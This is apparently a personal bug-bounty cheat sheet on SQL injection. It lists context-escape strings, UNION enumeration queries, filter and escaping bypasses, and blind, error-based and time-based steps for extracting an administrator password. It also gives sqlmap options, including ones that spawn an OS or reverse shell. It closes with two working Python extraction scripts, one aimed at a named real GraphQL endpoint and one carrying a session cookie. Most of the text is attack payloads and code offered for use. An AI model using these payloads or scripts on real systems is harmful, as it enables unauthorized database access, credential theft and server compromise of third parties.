###### tags: `Bug-Bounty` 'SQLi'
# SQL Injection
## **Step 1 (Escape from context):**
- ``` [Nothing] ```
- ``` ' ```
- ``` " ```
- ``` ` ```
- ``` ') ```
- ``` ") ```
- ``` `) ```
- ``` ')) ```
- ``` ")) ```
- ``` `)) ```
- ``` '|| ```
- ``` '; ```
- ``` '%3B ``` (url-encoded)
## **Step 2 (Clean, Combine or finish request)**
**Prevent any Result (at start of injection):**
- ```'AND O```
**Combine Request :**
- ```'UNION SELECT ...```
**End the request to start another one :**
- ```;```
## **Step 3 (Understand the table and database)**
**Finding a column containing text**
- ```'+UNION+SELECT+NULL,'test',NULL--```
*(change the column for text)*
**Determine the number of column returned**
- ```'ORDER+BY+5--'``` (Modify number to know number of columns)
- ```'+UNION+SELECT+NULL,NULL,NULL--```
- ```'+UNION+SELECT+NULL,NULL,NULL#```
*(add or remove some NULL)*
**Discover SQLite hidden table :**
- ```'UNION SELECT sql FROM sqlite_master --```
**Discover all table :**
- ```'UNION SELECT TABLE_NAME,NULL FROM INFORMATION_SCHEMA.TABLES--``` (not oracle)
- ```'UNION SELECT table_name, NULL FROM all_tables--'``` (oracle)
(one or more NULL)
**Discover all column :**
- ```'UNION SELECT COLUMN_NAME,NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='name_of_table'--```
- ```'UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='name_of_table'--```
## **Step 4 (Inject or Extract some data)**
**Bypass Condition:**
- ```' OR '1```
- ```'+OR+1=1--``` *(show all)*
**Multiple Value in a single column**
- ```'UNION+SELECT+NULL,username||'~'||password+FROM+users--```
**Insert Injection :**
ex :
```'INSERT INTO maillinglist(email, enabled) VALUES ('$mail', TRUE);```
- ```', (SELECT password FROM users WHERE username = 'admin')) --```
*We can bypass the 2nd value and write a SELECT request at the place of the TRUE variable.*
## **Step 5 (Bypass Filters and Limits)**
**Escape end of line :**
- ```--``` (all)
- ```-- ``` (Space after double dash for MySQL)
- ```#``` (MySQL)
**Escape end of block :**
- ```/*``` (all except oracle)
**Bypass Whitespace filter :**
- ```/**/```
- ```'FROM(users)WHERE(username='admin')```
(parentheses and empty comments)
**Bypass Word Filter :**
*If password is filtered just duplicate it :*
- pass~~password~~word -> password
*Or convert it to hex :*
- 0x70617373776f7264
*Another idea*
- %00password
- PaSSwOrD
- %50%41%53%53%57%4f%52%44 *URLENCODED*
- %2550%2541%2553%2553%2557%254f%2552%2544 *DOUBLE URLENCODE*
**Bypass mysql_real_escape_string**
- ```%bf%27 or 1=1-- ```
- ```¿'or+1=1-- ```
## **Blind SQL**
### **Conditional Responses**
[https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)
### Step 1
- ```'AND (SELECT 'a' FROM users LIMIT 1)='a```
*Message is shown if table "users" exist*
### Step 2
- ```' AND (SELECT 'a' FROM users WHERE username='administrator')='a```
*Message is shown if 'administrator' user exist*
### Step 3
- ```' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a``` (increase 1,2,3 ... till an error occur)
*Error is shown when length is too high for the word*
### Step 4
*Send to Burp Intruder*
- Clear $
- ```' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a``` (place $ around last "a")
- In Payload "Add from list" "a-z" and "0-9" (or/and A-Z)
- In Options "Grep - Match", clean the items and add "Welcome back" or your response when it's true
- Now "Start Attack" and check what char is valid [x]
- Change the first "1" from SUBSTRING in the request to 2,3,4 ...
### **Conditional Errors**
[https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors)
### Step 1
*Discover the type of DB (Oracle or not)*
- ```'||(SELECT '' FROM dual)||'``` (Oracle)
- ```'||(SELECT '')||'``` (not Orcale)
*If nor error occur then it's working*
### Step 2
*Verify existence of "users" table*
- ```'||(SELECT '' FROM users WHERE ROWNUM = 1)||'```
*"ROWNUM" prevent query from returning more than one row*
### Step 3
*Verify if user "administrator" exist*
- ```'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'```
*Error if "administrator" user exist*
### Step 4
*Determine length of "administrator" password*
- ```'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'```
*Increase the number till no error occur*
### Step 5
*Determine the password with Burp Intruder*
- ```'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'```
*Putt $ around first 'a' and increase first "1" of SUBSTR everytime*
### **Time Delays**
### Step 1
- ``` '||pg_sleep(10)-- ``` (PostgreSQL)
- ``` '%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END-- ``` (PostgreSQL)
- ``` 'SELECT sleep(10) ``` (MySQL)
- ``` 'WAITFOR DELAY '0:0:10' ``` (Microsoft)
- ``` 'dbms_pipe.receive_message(('a'),10) ``` (Oracle)
### Step 2
*Verify existence of "administrator" in "users" table*
- ```'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--```
### Step 3
*Verify length of "administrator" password*
- ```'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--```
*Increase the number till wrong time delay occur*
### Step 4
*Use Burp Intruder or Turbo Intruder*
- ```'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--```
## Tools
### SQLmap :
- Basic payload with request in a file, random User-Agent and level/risk max, to discover the databases
```
python sqlmap.py -r requete.txt -p "parametre_vuln" --random-agent --level=5 --risk=3 --dbs
```
- POST request, with content explained in "--data", with restriction on prefix/suffix of the payload
```
sqlmap -u https://<DOMAIN>/Login.aspx/Verify --force-ssl --headers="Content-Type: application/json; charset=utf-8" --prefix="admin';" --suffix="--@airasia.com" --data="{\"email\":\"*\"}" --dbms MSSQL --tables
```
## **Bonus**
Use substring for discover char on by one :
```. >64 & <123 And modify >96 ...```
**Understand the type and filter of parameter**
- Just add [] at the end of the parameter name (ex: username[]=test)
*We can see if preg_match or mysql_real_escape_string is used*
Liens utiles :
https://portswigger.net/web-security/sql-injection/cheat-sheet
https://book.hacktricks.xyz/pentesting-web/sql-injection
TEST :
oyhgylqstx7igenbixue
## SQLMap
1) Capture dans la requête > r.txt
2) Connaitre le type de DB
3) Dump les DB
4) Dump les tables d'un DB
5) Dump le contenu d'une ou plusieurs tables
Les options :
- -r r.txt (prend en entrée une requête)
- --batch (skip les question de SQLmap)
- --risk 3 - - level 5 (Test en profondeur)
- -p le_parametre_vuln (si on connait le paramètre)
- --dbms MSSQL (mettre le type de DB)
- --tamper [payload.py](http://payload.py) (choisir un tamper de bypass)
- --dbs (pour récupérer les databases)
- --random-agent (pour changer d'user-agent)
- --threads 10 (augmente le nombre de threads et donc la vitesse)
- -D la_db --tables (pour récupérer les tables d'une DB)
- - T user --columns (pour récupérer les champs d'une table)
- -T users -C username,password (pour récupérer les champs username,password de la table users)
- --dump (pour crack les pass)
- --os-shell (shell interactif)
- --os-pwn (spawn un reverse shell)
- --current-user Retrieve DBMS
- --current user
- --current-db Retrieve DBMS current database
- --hostname Retrieve DBMS server hostname
- --is-dba Detect if the DBMS current user is DBA
- --users Enumerate DBMS users
- --passwords Enumerate DBMS users password hashes
- --privileges Enumerate DBMS users privileges
- --roles Enumerate DBMS users roles
Ex :
```sql
sqlmap -r r.txt --batch --risk 3 --level 5 -p vulnParam --dbms MSSQL --tamper charencode --dbs
```
#### Tools :
- SQLmap
- Turbo Intruder / Intruder (Burp)
#### Sites :
[https://book.hacktricks.xyz/pentesting-web/sql-injection](https://book.hacktricks.xyz/pentesting-web/sql-injection)
[https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3](https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3) (Tamper SQLmap)
[https://ismailtasdelen.medium.com/sql-injection-payload-list-b97656cfd66b](https://ismailtasdelen.medium.com/sql-injection-payload-list-b97656cfd66b) (Différents Tools/Payload)
#### Payloads files :
# POST SQLi, in JSON body
- Can change "charset", "url", "cookies", "headers"
```
import requests
charset="abcdefghijklmnopqrstuvwxyz"
burp0_url = "https://<domain>/<path>"
burp0_cookies = {"ASP.NET_SessionId": "k2im4oewkz14h4ahcgyozxfv"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json; charset=utf-8", "X-Requested-With": "XMLHttpRequest", "Origin": "https://<domain>", "Referer": "https://<domain>", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Te": "trailers", "Connection": "close"}
c=1
dump=""
while 1==1:
for i in range(0,len(charset)):
burp0_json={"prefixText": "'and substring((select db_name()),"+str(c)+",1)='"+charset[i]+"'--", "verifierlist": "dv"}
a=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json).content
if(b"Vcidex" in a):
c=c+1
dump=dump+charset[i]
print("found: "+dump)
break
#print(dump+charset[i])
```
- GraphQL injection (python)
```
import requests, string
url = "https://webapi.mappr.xyz:443/graphql"
headers = {"Sec-Ch-Ua": "\"Chromium\";v=\"111\", \"Not(A:Brand\";v=\"8\"", "Domain": "sgp", "Sec-Ch-Ua-Mobile": "?0", "Authorization": "undefined", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36", "Content-Type": "application/json", "Accept": "*/*", "Sec-Ch-Ua-Platform": "\"Windows\"", "Origin": "https://carte.societedugrandparis.fr", "Sec-Fetch-Site": "cross-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://carte.societedugrandparis.fr/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"}
def get_length(req, offset):
for i in range(200):
json={"operationName": "Datasets", "query": "query Datasets($projectId: String!) {\n datasets(projectId: $projectId) {\n id\n isDictionary\n fields\n indexes {\n name\n type\n __typename\n }\n __typename\n }\n}\n", "variables": {"projectId": f"62b42466a61528f5ba1e4d72' or length(({req} limit 1 offset {offset}))={i} and '1'='1"}}
r = requests.post(url, headers=headers, json=json)
if not "not exist" in r.text:
print(f"[+] Length found : {i}")
break
return i
def get_data(req, offset):
res = ""
char_list = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[\\]^_`{|}~"
print(f"[?] Try : {req} limit 1 offset {offset}")
for i in range(1, get_length(req, offset)+1):
for char in char_list:
json={"operationName": "Datasets", "query": "query Datasets($projectId: String!) {\n datasets(projectId: $projectId) {\n id\n isDictionary\n fields\n indexes {\n name\n type\n __typename\n }\n __typename\n }\n}\n", "variables": {"projectId": f"62b42466a61528f5ba1e4d72' or substr(({req} limit 1 offset {offset}),{i},1)='{char}' and '1'='1"}}
r = requests.post(url, headers=headers, json=json)
if not "not exist" in r.text:
res += char
print(f"[+] Result : {res}", end="\r")
break
print(f"[+] Result : {res}")
get_data("SELECT datname FROM pg_database", 1)
```